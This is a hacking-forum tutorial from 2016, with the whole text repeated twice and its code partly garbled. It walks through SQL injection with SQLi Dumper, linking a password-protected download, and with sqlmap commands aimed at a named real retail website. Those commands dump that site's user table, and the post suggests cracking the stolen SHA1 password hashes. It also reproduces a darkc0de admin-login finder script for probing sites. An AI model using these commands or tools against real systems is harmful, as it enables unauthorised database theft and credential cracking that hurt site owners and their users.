01-16-2016, 09:23 PM
Links:
SQLi Dumper: http://fileparadox.in/ed24b6o5vunv/SQLi_Dumper_v.7.7z
SQLMap: sqlmap: automatic SQL injection and database takeover tool
Python 2.7: http://www.python.org/download/releases/2.7/ __________________________________________________ _________________
Password For SQLi Dumper: sqldumper.blogspot.com
SQLi Dumper:
![[Image: dheueg.gif]](http://i57.tinypic.com/dheueg.gif)
That where dorks goes where you can locate Priv8 or Public Dorks at here.
To start scan in the right top corner click Start Scanner.
then it will search for varies sites that works and it should work if its valid passed. Then theres a tab called Exploitable that when its done scanning sites go there and click Start Exploiter at the right top corner. After the exploiter is done go to injectable tab and click Start Analizer(Analyzer) at the right top corner. After varies sites are analyzed right click on a link then click "Go To Dumper"
![[Image: 307ox0k.png]](http://i59.tinypic.com/307ox0k.png)
Then it should do its magic by its self...
click on the database and tap "Get Tables"
![[Image: htad7q.png]](http://i60.tinypic.com/htad7q.png)
There now tables loaded up it gave me 31 tables click on a specific table and tap "Get Columns"
![[Image: 2hf6uyu.png]](http://i61.tinypic.com/2hf6uyu.png)
Another magical trick the program gave us 34 columns now to get the data and store it on your pc click on a specific column you want then click "Dump Data"
![[Image: 206d2xx.png]](http://i60.tinypic.com/206d2xx.png)
There that is how you use SQLi Dumper!
SQLMap
Go to cmd and go to the SQLMap directory.
![[Image: mltcn4.png]](http://i59.tinypic.com/mltcn4.png)
ente this commend:
CODE:
sqlmap.py -u http://www.chickencycles.co.uk/index.php?cat=32 --dbs
then be patient till it is completed
![[Image: 2efhniv.png]](http://i58.tinypic.com/2efhniv.png)
then to get the tables for that specific database enter this command:
CODE:
sqlmap.py -u http://www.chickencycles.co.uk/index.php?cat=32 --dbs -D chickenc_dbchicken2 --tables
![[Image: eqwfoj.png]](http://i61.tinypic.com/eqwfoj.png)
The tables should be displayed now pick a specific table that you want to see the columns it has and enter this command
CODE:
sqlmap.py -u http://www.chickencycles.co.uk/index.php?cat=32 --dbs -D chickenc_dbchicken2 -T tblusers --columns
![[Image: 2yynon9.png]](http://i60.tinypic.com/2yynon9.png)
The columns should be displayed. Now to dump data from that column type this command
CODE:
sqlmap.py -u http://www.chickencycles.co.uk/index.php?cat=32 --dbs -D chickenc_dbchicken2 -T tblusers --dump
![[Image: ou5hyd.png]](http://i62.tinypic.com/ou5hyd.png)
Now it should be spilling the data that is a password crypt i think sha1 i recommend HashKiller for password decrypt options.
For admin finder python script:
CODE:
#/usr/bin/python
# This was written for educational purpose only. Use it at your own risk.
# Author will be not responsible for any damage!
# !!! Special greetz for my friend sinner_01 !!!
# !!! Special thanx for d3hydr8 and rsauron who inspired me !!!
#
################################################################
# .___ __ _______ .___ #
# __| _/____ _______| | __ ____ \ _ \ __| _/____ #
# / __ |\__ \\_ __ \ |/ // ___\/ /_\ \ / __ |/ __ \ #
# / /_/ | / __ \| | \/ <\ \___\ \_/ \/ /_/ \ ___/ #
# \____ |(______/__| |__|_ \\_____>\_____ /\_____|\____\ #
# \/ \/ \/ #
# ___________ ______ _ __ #
# _/ ___\_ __ \_/ __ \ \/ \/ / #
# \ \___| | \/\ ___/\ / #
# \___ >__| \___ >\/\_/ #
# est.2007 \/ \/ forum.darkc0de.com #
################################################################
# --- d3hydr8 - rsauron - P47r1ck - r45c4l - C1c4Tr1Z - bennu #
# --- QKrun1x - skillfaker - Croathack - Optyx - Nuclear #
# --- Eliminator and to all members of darkc0de and ljuska.org#
################################################################
#
#
# Based on Web admin locator by Lipun4u
#
#
#
import sys, os, time, httplib
if sys.platform == 'linux' or sys.platform == 'linux2':
clearing = 'clear'
else:
clearing = 'cls'
os.system(clearing)
if len(sys.argv) != 2:
print "\n|---------------------------------------------------------------|"
print "| b4ltazar[@]gmail[dot]com |"
print "| 03/2009 Admin login finder v2.0 |"
print "| Help: admin-find.py -h |"
print "| Visit www.darkc0de.com and www.ljuska.org |"
print "|---------------------------------------------------------------|\n"
sys.exit(1)
for arg in sys.argv:
if arg == '-h':
print "\n|-------------------------------------------------------------------------------|"
print "| b4ltazar[@]gmail[dot]com |"
print "| 03/2009 Admin login finder v2.0 |"
print "| Usage: admin-find.py www.site.com |"
print "| Example: admin-find.py site.com |"
print "| Visit www.darkc0de.com and www.ljuska.org |"
print "|-------------------------------------------------------------------------------|\n"
sys.exit(1)
site = sys.argv[1].replace("http://","").rsplit("/",1)[0]
site = site.lower()
admin_path = ['admin.php','admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/','memberadmin/','administratorlogin/','adm/','admin/account.php','admin/index.php','admin/login.php','admin/admin.php','admin/account.php','joomla/administrator','login.php',
'admin_area/admin.php','admin_area/login.php','siteadmin/login.php','siteadmin/index.php','siteadmin/login.html','admin/account.html','admin/index.html','admin/login.html','admin/admin.html','admin_area/index.php','bb-admin/index.php','bb-admin/login.php','bb-admin/admin.php','admin/home.php','admin_area/login.html','admin_area/index.html','admin/controlpanel.php','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html','adminpanel.html','webadmin.html','webadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','panel-administracion/login.html','admin/cp.php','cp.php','administrator/index.php','administrator/login.php','nsw/admin/login.php','webadmin/login.php','admin/admin_login.php','admin_login.php','administrator/account.php','administrator.php','admin_area/admin.html','pages/admin/admin-login.php','admin/admin-login.php','admin-login.php','bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','modelsearch/login.php','moderator.php','moderator/login.php','moderator/admin.php','account.php','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','controlpanel.php','admincontrol.php',
'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.php','adminarea/index.html','adminarea/admin.html','webadmin.php','webadmin/index.php','webadmin/admin.php','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.php','moderator.html','administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html','moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.php','account.html','controlpanel.html','admincontrol.html','panel-administracion/login.php','wp-login.php','adminLogin.php','admin/adminLogin.php','home.php','adminarea/index.php','adminarea/admin.php','adminarea/login.php','panel-administracion/index.php','panel-administracion/admin.php','modelsearch/index.php','modelsearch/admin.php','admincontrol/login.php','adm/admloginuser.php','admloginuser.php','admin2.php','admin2/login.php','admin2/index.php','adm/index.php','adm.php','affiliate.php','adm_auth.php','memberadmin.php','administratorlogin.php']
print "\n|---------------------------------------------------------------|"
print "| b4ltazar[@]gmail[dot]com |"
print "| 03/2009 Admin login finder v2.0 |"
print "| Visit www.darkc0de.com and www.ljuska.org |"
print "|---------------------------------------------------------------|\n"
print "\n[-] %s" % time.strftime("%X")
print "[+] Target:",site
print "[+] Checking paths..."
print
try:
for admin in admin_path:
admin = admin.replace("\n","")
admin = "/" + admin
connection = httplib.HTTPConnection(site)
connection.request("GET",admin)
response = connection.getresponse()
print "%s %s %s" % (admin, response.status, response.reason)
except(KeyboardInterrupt,SystemExit.png)
raise
except:
pass
![[Image: v8kj10.png]](http://i58.tinypic.com/v8kj10.png)
then press enter it should search for a specific directory!
![[Image: 257hjcl.png]](http://i60.tinypic.com/257hjcl.png)
now it should be scanning!!!!!!
SQLi Dumper: http://fileparadox.in/ed24b6o5vunv/SQLi_Dumper_v.7.7z
SQLMap: sqlmap: automatic SQL injection and database takeover tool
Python 2.7: http://www.python.org/download/releases/2.7/ __________________________________________________ _________________
Password For SQLi Dumper: sqldumper.blogspot.com
SQLi Dumper:
![[Image: dheueg.gif]](http://i57.tinypic.com/dheueg.gif)
That where dorks goes where you can locate Priv8 or Public Dorks at here.
To start scan in the right top corner click Start Scanner.
then it will search for varies sites that works and it should work if its valid passed. Then theres a tab called Exploitable that when its done scanning sites go there and click Start Exploiter at the right top corner. After the exploiter is done go to injectable tab and click Start Analizer(Analyzer) at the right top corner. After varies sites are analyzed right click on a link then click "Go To Dumper"
![[Image: 307ox0k.png]](http://i59.tinypic.com/307ox0k.png)
Then it should do its magic by its self...
click on the database and tap "Get Tables"
![[Image: htad7q.png]](http://i60.tinypic.com/htad7q.png)
There now tables loaded up it gave me 31 tables click on a specific table and tap "Get Columns"
![[Image: 2hf6uyu.png]](http://i61.tinypic.com/2hf6uyu.png)
Another magical trick the program gave us 34 columns now to get the data and store it on your pc click on a specific column you want then click "Dump Data"
![[Image: 206d2xx.png]](http://i60.tinypic.com/206d2xx.png)
There that is how you use SQLi Dumper!
SQLMap
Go to cmd and go to the SQLMap directory.
![[Image: mltcn4.png]](http://i59.tinypic.com/mltcn4.png)
ente this commend:
CODE:
sqlmap.py -u http://www.chickencycles.co.uk/index.php?cat=32 --dbs
then be patient till it is completed
![[Image: 2efhniv.png]](http://i58.tinypic.com/2efhniv.png)
then to get the tables for that specific database enter this command:
CODE:
sqlmap.py -u http://www.chickencycles.co.uk/index.php?cat=32 --dbs -D chickenc_dbchicken2 --tables
![[Image: eqwfoj.png]](http://i61.tinypic.com/eqwfoj.png)
The tables should be displayed now pick a specific table that you want to see the columns it has and enter this command
CODE:
sqlmap.py -u http://www.chickencycles.co.uk/index.php?cat=32 --dbs -D chickenc_dbchicken2 -T tblusers --columns
![[Image: 2yynon9.png]](http://i60.tinypic.com/2yynon9.png)
The columns should be displayed. Now to dump data from that column type this command
CODE:
sqlmap.py -u http://www.chickencycles.co.uk/index.php?cat=32 --dbs -D chickenc_dbchicken2 -T tblusers --dump
![[Image: ou5hyd.png]](http://i62.tinypic.com/ou5hyd.png)
Now it should be spilling the data that is a password crypt i think sha1 i recommend HashKiller for password decrypt options.
For admin finder python script:
CODE:
#/usr/bin/python
# This was written for educational purpose only. Use it at your own risk.
# Author will be not responsible for any damage!
# !!! Special greetz for my friend sinner_01 !!!
# !!! Special thanx for d3hydr8 and rsauron who inspired me !!!
#
################################################################
# .___ __ _______ .___ #
# __| _/____ _______| | __ ____ \ _ \ __| _/____ #
# / __ |\__ \\_ __ \ |/ // ___\/ /_\ \ / __ |/ __ \ #
# / /_/ | / __ \| | \/ <\ \___\ \_/ \/ /_/ \ ___/ #
# \____ |(______/__| |__|_ \\_____>\_____ /\_____|\____\ #
# \/ \/ \/ #
# ___________ ______ _ __ #
# _/ ___\_ __ \_/ __ \ \/ \/ / #
# \ \___| | \/\ ___/\ / #
# \___ >__| \___ >\/\_/ #
# est.2007 \/ \/ forum.darkc0de.com #
################################################################
# --- d3hydr8 - rsauron - P47r1ck - r45c4l - C1c4Tr1Z - bennu #
# --- QKrun1x - skillfaker - Croathack - Optyx - Nuclear #
# --- Eliminator and to all members of darkc0de and ljuska.org#
################################################################
#
#
# Based on Web admin locator by Lipun4u
#
#
#
import sys, os, time, httplib
if sys.platform == 'linux' or sys.platform == 'linux2':
clearing = 'clear'
else:
clearing = 'cls'
os.system(clearing)
if len(sys.argv) != 2:
print "\n|---------------------------------------------------------------|"
print "| b4ltazar[@]gmail[dot]com |"
print "| 03/2009 Admin login finder v2.0 |"
print "| Help: admin-find.py -h |"
print "| Visit www.darkc0de.com and www.ljuska.org |"
print "|---------------------------------------------------------------|\n"
sys.exit(1)
for arg in sys.argv:
if arg == '-h':
print "\n|-------------------------------------------------------------------------------|"
print "| b4ltazar[@]gmail[dot]com |"
print "| 03/2009 Admin login finder v2.0 |"
print "| Usage: admin-find.py www.site.com |"
print "| Example: admin-find.py site.com |"
print "| Visit www.darkc0de.com and www.ljuska.org |"
print "|-------------------------------------------------------------------------------|\n"
sys.exit(1)
site = sys.argv[1].replace("http://","").rsplit("/",1)[0]
site = site.lower()
admin_path = ['admin.php','admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/','memberadmin/','administratorlogin/','adm/','admin/account.php','admin/index.php','admin/login.php','admin/admin.php','admin/account.php','joomla/administrator','login.php',
'admin_area/admin.php','admin_area/login.php','siteadmin/login.php','siteadmin/index.php','siteadmin/login.html','admin/account.html','admin/index.html','admin/login.html','admin/admin.html','admin_area/index.php','bb-admin/index.php','bb-admin/login.php','bb-admin/admin.php','admin/home.php','admin_area/login.html','admin_area/index.html','admin/controlpanel.php','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html','adminpanel.html','webadmin.html','webadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','panel-administracion/login.html','admin/cp.php','cp.php','administrator/index.php','administrator/login.php','nsw/admin/login.php','webadmin/login.php','admin/admin_login.php','admin_login.php','administrator/account.php','administrator.php','admin_area/admin.html','pages/admin/admin-login.php','admin/admin-login.php','admin-login.php','bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','modelsearch/login.php','moderator.php','moderator/login.php','moderator/admin.php','account.php','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','controlpanel.php','admincontrol.php',
'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.php','adminarea/index.html','adminarea/admin.html','webadmin.php','webadmin/index.php','webadmin/admin.php','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.php','moderator.html','administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html','moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.php','account.html','controlpanel.html','admincontrol.html','panel-administracion/login.php','wp-login.php','adminLogin.php','admin/adminLogin.php','home.php','adminarea/index.php','adminarea/admin.php','adminarea/login.php','panel-administracion/index.php','panel-administracion/admin.php','modelsearch/index.php','modelsearch/admin.php','admincontrol/login.php','adm/admloginuser.php','admloginuser.php','admin2.php','admin2/login.php','admin2/index.php','adm/index.php','adm.php','affiliate.php','adm_auth.php','memberadmin.php','administratorlogin.php']
print "\n|---------------------------------------------------------------|"
print "| b4ltazar[@]gmail[dot]com |"
print "| 03/2009 Admin login finder v2.0 |"
print "| Visit www.darkc0de.com and www.ljuska.org |"
print "|---------------------------------------------------------------|\n"
print "\n[-] %s" % time.strftime("%X")
print "[+] Target:",site
print "[+] Checking paths..."
try:
for admin in admin_path:
admin = admin.replace("\n","")
admin = "/" + admin
connection = httplib.HTTPConnection(site)
connection.request("GET",admin)
response = connection.getresponse()
print "%s %s %s" % (admin, response.status, response.reason)
except(KeyboardInterrupt,SystemExit
.png)
raise
except:
pass
![[Image: v8kj10.png]](http://i58.tinypic.com/v8kj10.png)
then press enter it should search for a specific directory!
![[Image: 257hjcl.png]](http://i60.tinypic.com/257hjcl.png)
now it should be scanning!!!!!!
Albania - Kosovo













